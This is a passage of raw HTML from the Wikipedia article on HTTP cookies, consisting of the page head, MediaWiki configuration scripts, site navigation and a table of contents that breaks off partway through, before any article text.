CINXE.COM

<!DOCTYPE html> <html class="client-nojs vector-feature-language-in-header-enabled vector-feature-language-in-main-page-header-disabled vector-feature-sticky-header-disabled vector-feature-page-tools-pinned-disabled vector-feature-toc-pinned-clientpref-1 vector-feature-main-menu-pinned-disabled vector-feature-limited-width-clientpref-1 vector-feature-limited-width-content-enabled vector-feature-custom-font-size-clientpref-1 vector-feature-appearance-pinned-clientpref-1 vector-feature-night-mode-enabled skin-theme-clientpref-day vector-toc-available" lang="en" dir="ltr"> <head> <meta charset="UTF-8"> <title>HTTP cookie - Wikipedia</title> <script>(function(){var className="client-js vector-feature-language-in-header-enabled vector-feature-language-in-main-page-header-disabled vector-feature-sticky-header-disabled vector-feature-page-tools-pinned-disabled vector-feature-toc-pinned-clientpref-1 vector-feature-main-menu-pinned-disabled vector-feature-limited-width-clientpref-1 vector-feature-limited-width-content-enabled vector-feature-custom-font-size-clientpref-1 vector-feature-appearance-pinned-clientpref-1 vector-feature-night-mode-enabled skin-theme-clientpref-day vector-toc-available";var cookie=document.cookie.match(/(?:^|; )enwikimwclientpreferences=([^;]+)/);if(cookie){cookie[1].split('%2C').forEach(function(pref){className=className.replace(new RegExp('(^| )'+pref.replace(/-clientpref-\w+$|[^\w-]+/g,'')+'-clientpref-\\w+( |$)'),'$1'+pref+'$2');});}document.documentElement.className=className;}());RLCONF={"wgBreakFrames":false,"wgSeparatorTransformTable":["",""],"wgDigitTransformTable":["",""],"wgDefaultDateFormat":"dmy", "wgMonthNames":["","January","February","March","April","May","June","July","August","September","October","November","December"],"wgRequestId":"895f0d93-34fe-4d9a-9030-18f62c711b15","wgCanonicalNamespace":"","wgCanonicalSpecialPageName":false,"wgNamespaceNumber":0,"wgPageName":"HTTP_cookie","wgTitle":"HTTP cookie","wgCurRevisionId":1249301321,"wgRevisionId":1249301321,"wgArticleId":5068415,"wgIsArticle":true,"wgIsRedirect":false,"wgAction":"view","wgUserName":null,"wgUserGroups":["*"],"wgCategories":["Webarchive template wayback links","CS1 maint: unfit URL","Articles with short description","Short description is different from Wikidata","Wikipedia pages semi-protected against vandalism","Use American English from April 2021","All Wikipedia articles written in American English","Use dmy dates from April 2021","Articles needing additional references from August 2011","All articles needing additional references","Articles containing potentially dated statements from 2016", "All articles containing potentially dated statements","Articles containing potentially dated statements from 2014","All articles with failed verification","Articles with failed verification from October 2022","Articles lacking reliable references from October 2022","All articles lacking reliable references","Articles that may contain original research from September 2011","All articles that may contain original research","Articles needing additional references from September 2011","Articles with multiple maintenance issues","Articles with hAudio microformats","Spoken articles","Commons category link is on Wikidata","Wikipedia articles with ASCII art","Computer access control","Hypertext Transfer Protocol headers","Internet privacy","Hacking (computer security)","Tracking"],"wgPageViewLanguage":"en","wgPageContentLanguage":"en","wgPageContentModel":"wikitext","wgRelevantPageName":"HTTP_cookie","wgRelevantArticleId":5068415,"wgIsProbablyEditable":false,"wgRelevantPageIsProbablyEditable" :false,"wgRestrictionEdit":["autoconfirmed"],"wgRestrictionMove":["autoconfirmed"],"wgNoticeProject":"wikipedia","wgCiteReferencePreviewsActive":false,"wgFlaggedRevsParams":{"tags":{"status":{"levels":1}}},"wgMediaViewerOnClick":true,"wgMediaViewerEnabledByDefault":true,"wgPopupsFlags":0,"wgVisualEditor":{"pageLanguageCode":"en","pageLanguageDir":"ltr","pageVariantFallbacks":"en"},"wgMFDisplayWikibaseDescriptions":{"search":true,"watchlist":true,"tagline":false,"nearby":true},"wgWMESchemaEditAttemptStepOversample":false,"wgWMEPageLength":100000,"wgRelatedArticlesCompat":[],"wgCentralAuthMobileDomain":false,"wgEditSubmitButtonLabelPublish":true,"wgULSPosition":"interlanguage","wgULSisCompactLinksEnabled":false,"wgVector2022LanguageInHeader":true,"wgULSisLanguageSelectorEmpty":false,"wgWikibaseItemId":"Q178995","wgCheckUserClientHintsHeadersJsApi":["brands","architecture","bitness","fullVersionList","mobile","model","platform","platformVersion"],"GEHomepageSuggestedEditsEnableTopics": true,"wgGETopicsMatchModeEnabled":false,"wgGEStructuredTaskRejectionReasonTextInputEnabled":false,"wgGELevelingUpEnabledForUser":false};RLSTATE={"ext.globalCssJs.user.styles":"ready","site.styles":"ready","user.styles":"ready","ext.globalCssJs.user":"ready","user":"ready","user.options":"loading","ext.cite.styles":"ready","ext.pygments":"ready","ext.tmh.player.styles":"ready","skins.vector.search.codex.styles":"ready","skins.vector.styles":"ready","skins.vector.icons":"ready","jquery.makeCollapsible.styles":"ready","ext.wikimediamessages.styles":"ready","ext.visualEditor.desktopArticleTarget.noscript":"ready","ext.uls.interlanguage":"ready","wikibase.client.init":"ready","ext.wikimediaBadges":"ready"};RLPAGEMODULES=["ext.cite.ux-enhancements","ext.pygments.view","mediawiki.page.media","ext.tmh.player","site","mediawiki.page.ready","jquery.makeCollapsible","mediawiki.toc","skins.vector.js","ext.centralNotice.geoIP","ext.centralNotice.startUp","ext.gadget.ReferenceTooltips", "ext.gadget.switcher","ext.urlShortener.toolbar","ext.centralauth.centralautologin","mmv.bootstrap","ext.popups","ext.visualEditor.desktopArticleTarget.init","ext.visualEditor.targetLoader","ext.echo.centralauth","ext.eventLogging","ext.wikimediaEvents","ext.navigationTiming","ext.uls.interface","ext.cx.eventlogging.campaigns","ext.cx.uls.quick.actions","wikibase.client.vector-2022","ext.checkUser.clientHints","ext.growthExperiments.SuggestedEditSession","wikibase.sidebar.tracking"];</script> <script>(RLQ=window.RLQ||[]).push(function(){mw.loader.impl(function(){return["user.options@12s5i",function($,jQuery,require,module){mw.user.tokens.set({"patrolToken":"+\\","watchToken":"+\\","csrfToken":"+\\"}); }];});});</script> <link rel="stylesheet" href="/w/load.php?lang=en&modules=ext.cite.styles%7Cext.pygments%2CwikimediaBadges%7Cext.tmh.player.styles%7Cext.uls.interlanguage%7Cext.visualEditor.desktopArticleTarget.noscript%7Cext.wikimediamessages.styles%7Cjquery.makeCollapsible.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles%7Cwikibase.client.init&only=styles&skin=vector-2022"> <script async="" src="/w/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022"></script> <meta name="ResourceLoaderDynamicStyles" content=""> <link rel="stylesheet" href="/w/load.php?lang=en&modules=site.styles&only=styles&skin=vector-2022"> <meta name="generator" content="MediaWiki 1.44.0-wmf.4"> <meta name="referrer" content="origin"> <meta name="referrer" content="origin-when-cross-origin"> <meta name="robots" content="max-image-preview:standard"> <meta name="format-detection" content="telephone=no"> <meta property="og:image" content="https://upload.wikimedia.org/wikipedia/commons/thumb/5/5b/HTTP_logo.svg/1200px-HTTP_logo.svg.png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="642"> <meta property="og:image" content="https://upload.wikimedia.org/wikipedia/commons/thumb/5/5b/HTTP_logo.svg/800px-HTTP_logo.svg.png"> <meta property="og:image:width" content="800"> <meta property="og:image:height" content="428"> <meta property="og:image" content="https://upload.wikimedia.org/wikipedia/commons/thumb/5/5b/HTTP_logo.svg/640px-HTTP_logo.svg.png"> <meta property="og:image:width" content="640"> <meta property="og:image:height" content="343"> <meta name="viewport" content="width=1120"> <meta property="og:title" content="HTTP cookie - Wikipedia"> <meta property="og:type" content="website"> <link rel="preconnect" href="//upload.wikimedia.org"> <link rel="alternate" media="only screen and (max-width: 640px)" href="//en.m.wikipedia.org/wiki/HTTP_cookie"> <link rel="apple-touch-icon" href="/static/apple-touch/wikipedia.png"> <link rel="icon" href="/static/favicon/wikipedia.ico"> <link rel="search" type="application/opensearchdescription+xml" href="/w/rest.php/v1/search" title="Wikipedia (en)"> <link rel="EditURI" type="application/rsd+xml" href="//en.wikipedia.org/w/api.php?action=rsd"> <link rel="canonical" href="https://en.wikipedia.org/wiki/HTTP_cookie"> <link rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/deed.en"> <link rel="alternate" type="application/atom+xml" title="Wikipedia Atom feed" href="/w/index.php?title=Special:RecentChanges&feed=atom"> <link rel="dns-prefetch" href="//meta.wikimedia.org" /> <link rel="dns-prefetch" href="//login.wikimedia.org"> </head> <body class="skin--responsive skin-vector skin-vector-search-vue mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject page-HTTP_cookie rootpage-HTTP_cookie skin-vector-2022 action-view"><a class="mw-jump-link" href="#bodyContent">Jump to content</a> <div class="vector-header-container"> <header class="vector-header mw-header"> <div class="vector-header-start"> <nav class="vector-main-menu-landmark" aria-label="Site"> <div id="vector-main-menu-dropdown" class="vector-dropdown vector-main-menu-dropdown vector-button-flush-left vector-button-flush-right" > <input type="checkbox" id="vector-main-menu-dropdown-checkbox" role="button" aria-haspopup="true" data-event-name="ui.dropdown-vector-main-menu-dropdown" class="vector-dropdown-checkbox " aria-label="Main menu" > <label id="vector-main-menu-dropdown-label" for="vector-main-menu-dropdown-checkbox" class="vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--icon-only " aria-hidden="true" ><span class="vector-icon mw-ui-icon-menu mw-ui-icon-wikimedia-menu"></span> <span class="vector-dropdown-label-text">Main menu</span> </label> <div class="vector-dropdown-content"> <div id="vector-main-menu-unpinned-container" class="vector-unpinned-container"> <div id="vector-main-menu" class="vector-main-menu vector-pinnable-element"> <div class="vector-pinnable-header vector-main-menu-pinnable-header vector-pinnable-header-unpinned" data-feature-name="main-menu-pinned" data-pinnable-element-id="vector-main-menu" data-pinned-container-id="vector-main-menu-pinned-container" data-unpinned-container-id="vector-main-menu-unpinned-container" > <div class="vector-pinnable-header-label">Main menu</div> <button class="vector-pinnable-header-toggle-button vector-pinnable-header-pin-button" data-event-name="pinnable-header.vector-main-menu.pin">move to sidebar</button> <button class="vector-pinnable-header-toggle-button vector-pinnable-header-unpin-button" data-event-name="pinnable-header.vector-main-menu.unpin">hide</button> </div> <div id="p-navigation" class="vector-menu mw-portlet mw-portlet-navigation" > <div class="vector-menu-heading"> Navigation </div> <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="n-mainpage-description" class="mw-list-item"><a href="/wiki/Main_Page" title="Visit the main page [z]" accesskey="z"><span>Main page</span></a></li><li id="n-contents" class="mw-list-item"><a href="/wiki/Wikipedia:Contents" title="Guides to browsing Wikipedia"><span>Contents</span></a></li><li id="n-currentevents" class="mw-list-item"><a href="/wiki/Portal:Current_events" title="Articles related to current events"><span>Current events</span></a></li><li id="n-randompage" class="mw-list-item"><a href="/wiki/Special:Random" title="Visit a randomly selected article [x]" accesskey="x"><span>Random article</span></a></li><li id="n-aboutsite" class="mw-list-item"><a href="/wiki/Wikipedia:About" title="Learn about Wikipedia and how it works"><span>About Wikipedia</span></a></li><li id="n-contactpage" class="mw-list-item"><a href="//en.wikipedia.org/wiki/Wikipedia:Contact_us" title="How to contact Wikipedia"><span>Contact us</span></a></li> </ul> </div> </div> <div id="p-interaction" class="vector-menu mw-portlet mw-portlet-interaction" > <div class="vector-menu-heading"> Contribute </div> <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="n-help" class="mw-list-item"><a href="/wiki/Help:Contents" title="Guidance on how to use and edit Wikipedia"><span>Help</span></a></li><li id="n-introduction" class="mw-list-item"><a href="/wiki/Help:Introduction" title="Learn how to edit Wikipedia"><span>Learn to edit</span></a></li><li id="n-portal" class="mw-list-item"><a href="/wiki/Wikipedia:Community_portal" title="The hub for editors"><span>Community portal</span></a></li><li id="n-recentchanges" class="mw-list-item"><a href="/wiki/Special:RecentChanges" title="A list of recent changes to Wikipedia [r]" accesskey="r"><span>Recent changes</span></a></li><li id="n-upload" class="mw-list-item"><a href="/wiki/Wikipedia:File_upload_wizard" title="Add images or other media for use on Wikipedia"><span>Upload file</span></a></li> </ul> </div> </div> </div> </div> </div> </div> </nav> <a href="/wiki/Main_Page" class="mw-logo"> <img class="mw-logo-icon" src="/static/images/icons/wikipedia.png" alt="" aria-hidden="true" height="50" width="50"> <span class="mw-logo-container skin-invert"> <img class="mw-logo-wordmark" alt="Wikipedia" src="/static/images/mobile/copyright/wikipedia-wordmark-en.svg" style="width: 7.5em; height: 1.125em;"> <img class="mw-logo-tagline" alt="The Free Encyclopedia" src="/static/images/mobile/copyright/wikipedia-tagline-en.svg" width="117" height="13" style="width: 7.3125em; height: 0.8125em;"> </span> </a> </div> <div class="vector-header-end"> <div id="p-search" role="search" class="vector-search-box-vue vector-search-box-collapses vector-search-box-show-thumbnail vector-search-box-auto-expand-width vector-search-box"> <a href="/wiki/Special:Search" class="cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--icon-only search-toggle" title="Search Wikipedia [f]" accesskey="f"><span class="vector-icon mw-ui-icon-search mw-ui-icon-wikimedia-search"></span> <span>Search</span> </a> <div class="vector-typeahead-search-container"> <div class="cdx-typeahead-search cdx-typeahead-search--show-thumbnail cdx-typeahead-search--auto-expand-width"> <form action="/w/index.php" id="searchform" class="cdx-search-input cdx-search-input--has-end-button"> <div id="simpleSearch" class="cdx-search-input__input-wrapper" data-search-loc="header-moved"> <div class="cdx-text-input cdx-text-input--has-start-icon"> <input class="cdx-text-input__input" type="search" name="search" placeholder="Search Wikipedia" aria-label="Search Wikipedia" autocapitalize="sentences" title="Search Wikipedia [f]" accesskey="f" id="searchInput" > <span class="cdx-text-input__icon cdx-text-input__start-icon"></span> </div> <input type="hidden" name="title" value="Special:Search"> </div> <button class="cdx-button cdx-search-input__end-button">Search</button> </form> </div> </div> </div> <nav class="vector-user-links vector-user-links-wide" aria-label="Personal tools"> <div class="vector-user-links-main"> <div id="p-vector-user-menu-preferences" class="vector-menu mw-portlet emptyPortlet" > <div class="vector-menu-content"> <ul class="vector-menu-content-list"> </ul> </div> </div> <div id="p-vector-user-menu-userpage" class="vector-menu mw-portlet emptyPortlet" > <div class="vector-menu-content"> <ul class="vector-menu-content-list"> </ul> </div> </div> <nav class="vector-appearance-landmark" aria-label="Appearance"> <div id="vector-appearance-dropdown" class="vector-dropdown " title="Change the appearance of the page's font size, width, and color" > <input type="checkbox" id="vector-appearance-dropdown-checkbox" role="button" aria-haspopup="true" data-event-name="ui.dropdown-vector-appearance-dropdown" class="vector-dropdown-checkbox " aria-label="Appearance" > <label id="vector-appearance-dropdown-label" for="vector-appearance-dropdown-checkbox" class="vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--icon-only " aria-hidden="true" ><span class="vector-icon mw-ui-icon-appearance mw-ui-icon-wikimedia-appearance"></span> <span class="vector-dropdown-label-text">Appearance</span> </label> <div class="vector-dropdown-content"> <div id="vector-appearance-unpinned-container" class="vector-unpinned-container"> </div> </div> </div> </nav> <div id="p-vector-user-menu-notifications" class="vector-menu mw-portlet emptyPortlet" > <div class="vector-menu-content"> <ul class="vector-menu-content-list"> </ul> </div> </div> <div id="p-vector-user-menu-overflow" class="vector-menu mw-portlet" > <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="pt-sitesupport-2" class="user-links-collapsible-item mw-list-item user-links-collapsible-item"><a data-mw="interface" href="https://donate.wikimedia.org/wiki/Special:FundraiserRedirector?utm_source=donate&utm_medium=sidebar&utm_campaign=C13_en.wikipedia.org&uselang=en" class=""><span>Donate</span></a> </li> <li id="pt-createaccount-2" class="user-links-collapsible-item mw-list-item user-links-collapsible-item"><a data-mw="interface" href="/w/index.php?title=Special:CreateAccount&returnto=HTTP+cookie" title="You are encouraged to create an account and log in; however, it is not mandatory" class=""><span>Create account</span></a> </li> <li id="pt-login-2" class="user-links-collapsible-item mw-list-item user-links-collapsible-item"><a data-mw="interface" href="/w/index.php?title=Special:UserLogin&returnto=HTTP+cookie" title="You're encouraged to log in; however, it's not mandatory. [o]" accesskey="o" class=""><span>Log in</span></a> </li> </ul> </div> </div> </div> <div id="vector-user-links-dropdown" class="vector-dropdown vector-user-menu vector-button-flush-right vector-user-menu-logged-out" title="Log in and more options" > <input type="checkbox" id="vector-user-links-dropdown-checkbox" role="button" aria-haspopup="true" data-event-name="ui.dropdown-vector-user-links-dropdown" class="vector-dropdown-checkbox " aria-label="Personal tools" > <label id="vector-user-links-dropdown-label" for="vector-user-links-dropdown-checkbox" class="vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--icon-only " aria-hidden="true" ><span class="vector-icon mw-ui-icon-ellipsis mw-ui-icon-wikimedia-ellipsis"></span> <span class="vector-dropdown-label-text">Personal tools</span> </label> <div class="vector-dropdown-content"> <div id="p-personal" class="vector-menu mw-portlet mw-portlet-personal user-links-collapsible-item" title="User menu" > <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="pt-sitesupport" class="user-links-collapsible-item mw-list-item"><a href="https://donate.wikimedia.org/wiki/Special:FundraiserRedirector?utm_source=donate&utm_medium=sidebar&utm_campaign=C13_en.wikipedia.org&uselang=en"><span>Donate</span></a></li><li id="pt-createaccount" class="user-links-collapsible-item mw-list-item"><a href="/w/index.php?title=Special:CreateAccount&returnto=HTTP+cookie" title="You are encouraged to create an account and log in; however, it is not mandatory"><span class="vector-icon mw-ui-icon-userAdd mw-ui-icon-wikimedia-userAdd"></span> <span>Create account</span></a></li><li id="pt-login" class="user-links-collapsible-item mw-list-item"><a href="/w/index.php?title=Special:UserLogin&returnto=HTTP+cookie" title="You're encouraged to log in; however, it's not mandatory. [o]" accesskey="o"><span class="vector-icon mw-ui-icon-logIn mw-ui-icon-wikimedia-logIn"></span> <span>Log in</span></a></li> </ul> </div> </div> <div id="p-user-menu-anon-editor" class="vector-menu mw-portlet mw-portlet-user-menu-anon-editor" > <div class="vector-menu-heading"> Pages for logged out editors <a href="/wiki/Help:Introduction" aria-label="Learn more about editing"><span>learn more</span></a> </div> <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li id="pt-anoncontribs" class="mw-list-item"><a href="/wiki/Special:MyContributions" title="A list of edits made from this IP address [y]" accesskey="y"><span>Contributions</span></a></li><li id="pt-anontalk" class="mw-list-item"><a href="/wiki/Special:MyTalk" title="Discussion about edits from this IP address [n]" accesskey="n"><span>Talk</span></a></li> </ul> </div> </div> </div> </div> </nav> </div> </header> </div> <div class="mw-page-container"> <div class="mw-page-container-inner"> <div class="vector-sitenotice-container"> <div id="siteNotice"></div> </div> <div class="vector-column-start"> <div class="vector-main-menu-container"> <div id="mw-navigation"> <nav id="mw-panel" class="vector-main-menu-landmark" aria-label="Site"> <div id="vector-main-menu-pinned-container" class="vector-pinned-container"> </div> </nav> </div> </div> <div class="vector-sticky-pinned-container"> <nav id="mw-panel-toc" aria-label="Contents" data-event-name="ui.sidebar-toc" class="mw-table-of-contents-container vector-toc-landmark"> <div id="vector-toc-pinned-container" class="vector-pinned-container"> <div id="vector-toc" class="vector-toc vector-pinnable-element"> <div class="vector-pinnable-header vector-toc-pinnable-header vector-pinnable-header-pinned" data-feature-name="toc-pinned" data-pinnable-element-id="vector-toc" > <h2 class="vector-pinnable-header-label">Contents</h2> <button class="vector-pinnable-header-toggle-button vector-pinnable-header-pin-button" data-event-name="pinnable-header.vector-toc.pin">move to sidebar</button> <button class="vector-pinnable-header-toggle-button vector-pinnable-header-unpin-button" data-event-name="pinnable-header.vector-toc.unpin">hide</button> </div> <ul class="vector-toc-contents" id="mw-panel-toc-list"> <li id="toc-mw-content-text" class="vector-toc-list-item vector-toc-level-1"> <a href="#" class="vector-toc-link"> <div class="vector-toc-text">(Top)</div> </a> </li> <li id="toc-Background" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Background"> <div class="vector-toc-text"> <span class="vector-toc-numb">1</span> <span>Background</span> </div> </a> <button aria-controls="toc-Background-sublist" class="cdx-button cdx-button--weight-quiet cdx-button--icon-only vector-toc-toggle"> <span class="vector-icon mw-ui-icon-wikimedia-expand"></span> <span>Toggle Background subsection</span> </button> <ul id="toc-Background-sublist" class="vector-toc-list"> <li id="toc-Origin_of_the_name" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Origin_of_the_name"> <div class="vector-toc-text"> <span class="vector-toc-numb">1.1</span> <span>Origin of the name</span> </div> </a> <ul id="toc-Origin_of_the_name-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-History" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#History"> <div class="vector-toc-text"> <span class="vector-toc-numb">1.2</span> <span>History</span> </div> </a> <ul id="toc-History-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-Terminology" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Terminology"> <div class="vector-toc-text"> <span class="vector-toc-numb">2</span> <span>Terminology</span> </div> </a> <button aria-controls="toc-Terminology-sublist" class="cdx-button cdx-button--weight-quiet cdx-button--icon-only vector-toc-toggle"> <span class="vector-icon mw-ui-icon-wikimedia-expand"></span> <span>Toggle Terminology subsection</span> </button> <ul id="toc-Terminology-sublist" class="vector-toc-list"> <li id="toc-Session_cookie" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Session_cookie"> <div class="vector-toc-text"> <span class="vector-toc-numb">2.1</span> <span>Session cookie</span> </div> </a> <ul id="toc-Session_cookie-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Persistent_cookie" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Persistent_cookie"> <div class="vector-toc-text"> <span class="vector-toc-numb">2.2</span> <span>Persistent cookie</span> </div> </a> <ul id="toc-Persistent_cookie-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Secure_cookie" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Secure_cookie"> <div class="vector-toc-text"> <span class="vector-toc-numb">2.3</span> <span>Secure cookie</span> </div> </a> <ul id="toc-Secure_cookie-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Http-only_cookie" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Http-only_cookie"> <div class="vector-toc-text"> <span class="vector-toc-numb">2.4</span> <span>Http-only cookie</span> </div> </a> <ul id="toc-Http-only_cookie-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Same-site_cookie" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Same-site_cookie"> <div class="vector-toc-text"> <span class="vector-toc-numb">2.5</span> <span>Same-site cookie</span> </div> </a> <ul id="toc-Same-site_cookie-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Supercookie" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Supercookie"> <div class="vector-toc-text"> <span class="vector-toc-numb">2.6</span> <span>Supercookie</span> </div> </a> <ul id="toc-Supercookie-sublist" class="vector-toc-list"> <li id="toc-Other_uses" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#Other_uses"> <div class="vector-toc-text"> <span class="vector-toc-numb">2.6.1</span> <span>Other uses</span> </div> </a> <ul id="toc-Other_uses-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-Zombie_cookie" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Zombie_cookie"> <div class="vector-toc-text"> <span class="vector-toc-numb">2.7</span> <span>Zombie cookie</span> </div> </a> <ul id="toc-Zombie_cookie-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Cookie_wall" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Cookie_wall"> <div class="vector-toc-text"> <span class="vector-toc-numb">2.8</span> <span>Cookie wall</span> </div> </a> <ul id="toc-Cookie_wall-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-Structure" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Structure"> <div class="vector-toc-text"> <span class="vector-toc-numb">3</span> <span>Structure</span> </div> </a> <ul id="toc-Structure-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Uses" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Uses"> <div class="vector-toc-text"> <span class="vector-toc-numb">4</span> <span>Uses</span> </div> </a> <button aria-controls="toc-Uses-sublist" class="cdx-button cdx-button--weight-quiet cdx-button--icon-only vector-toc-toggle"> <span class="vector-icon mw-ui-icon-wikimedia-expand"></span> <span>Toggle Uses subsection</span> </button> <ul id="toc-Uses-sublist" class="vector-toc-list"> <li id="toc-Session_management" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Session_management"> <div class="vector-toc-text"> <span class="vector-toc-numb">4.1</span> <span>Session management</span> </div> </a> <ul id="toc-Session_management-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Personalization" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Personalization"> <div class="vector-toc-text"> <span class="vector-toc-numb">4.2</span> <span>Personalization</span> </div> </a> <ul id="toc-Personalization-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Tracking" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Tracking"> <div class="vector-toc-text"> <span class="vector-toc-numb">4.3</span> <span>Tracking</span> </div> </a> <ul id="toc-Tracking-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-Implementation" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Implementation"> <div class="vector-toc-text"> <span class="vector-toc-numb">5</span> <span>Implementation</span> </div> </a> <button aria-controls="toc-Implementation-sublist" class="cdx-button cdx-button--weight-quiet cdx-button--icon-only vector-toc-toggle"> <span class="vector-icon mw-ui-icon-wikimedia-expand"></span> <span>Toggle Implementation subsection</span> </button> <ul id="toc-Implementation-sublist" class="vector-toc-list"> <li id="toc-Setting_a_cookie" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Setting_a_cookie"> <div class="vector-toc-text"> <span class="vector-toc-numb">5.1</span> <span>Setting a cookie</span> </div> </a> <ul id="toc-Setting_a_cookie-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Cookie_attributes" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Cookie_attributes"> <div class="vector-toc-text"> <span class="vector-toc-numb">5.2</span> <span>Cookie attributes</span> </div> </a> <ul id="toc-Cookie_attributes-sublist" class="vector-toc-list"> <li id="toc-Domain_and_Path" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#Domain_and_Path"> <div class="vector-toc-text"> <span class="vector-toc-numb">5.2.1</span> <span>Domain and Path</span> </div> </a> <ul id="toc-Domain_and_Path-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Expires_and_Max-Age" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#Expires_and_Max-Age"> <div class="vector-toc-text"> <span class="vector-toc-numb">5.2.2</span> <span>Expires and Max-Age</span> </div> </a> <ul id="toc-Expires_and_Max-Age-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Secure_and_HttpOnly" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#Secure_and_HttpOnly"> <div class="vector-toc-text"> <span class="vector-toc-numb">5.2.3</span> <span>Secure and HttpOnly</span> </div> </a> <ul id="toc-Secure_and_HttpOnly-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> </ul> </li> <li id="toc-Browser_settings" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Browser_settings"> <div class="vector-toc-text"> <span class="vector-toc-numb">6</span> <span>Browser settings</span> </div> </a> <ul id="toc-Browser_settings-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Third-party_cookie" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Third-party_cookie"> <div class="vector-toc-text"> <span class="vector-toc-numb">7</span> <span>Third-party cookie</span> </div> </a> <ul id="toc-Third-party_cookie-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Privacy" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Privacy"> <div class="vector-toc-text"> <span class="vector-toc-numb">8</span> <span>Privacy</span> </div> </a> <button aria-controls="toc-Privacy-sublist" class="cdx-button cdx-button--weight-quiet cdx-button--icon-only vector-toc-toggle"> <span class="vector-icon mw-ui-icon-wikimedia-expand"></span> <span>Toggle Privacy subsection</span> </button> <ul id="toc-Privacy-sublist" class="vector-toc-list"> <li id="toc-EU_cookie_directive" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#EU_cookie_directive"> <div class="vector-toc-text"> <span class="vector-toc-numb">8.1</span> <span>EU cookie directive</span> </div> </a> <ul id="toc-EU_cookie_directive-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-Cookie_theft_and_session_hijacking" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Cookie_theft_and_session_hijacking"> <div class="vector-toc-text"> <span class="vector-toc-numb">9</span> <span>Cookie theft and session hijacking</span> </div> </a> <button aria-controls="toc-Cookie_theft_and_session_hijacking-sublist" class="cdx-button cdx-button--weight-quiet cdx-button--icon-only vector-toc-toggle"> <span class="vector-icon mw-ui-icon-wikimedia-expand"></span> <span>Toggle Cookie theft and session hijacking subsection</span> </button> <ul id="toc-Cookie_theft_and_session_hijacking-sublist" class="vector-toc-list"> <li id="toc-Network_eavesdropping" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Network_eavesdropping"> <div class="vector-toc-text"> <span class="vector-toc-numb">9.1</span> <span>Network eavesdropping</span> </div> </a> <ul id="toc-Network_eavesdropping-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Publishing_false_sub-domain:_DNS_cache_poisoning" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Publishing_false_sub-domain:_DNS_cache_poisoning"> <div 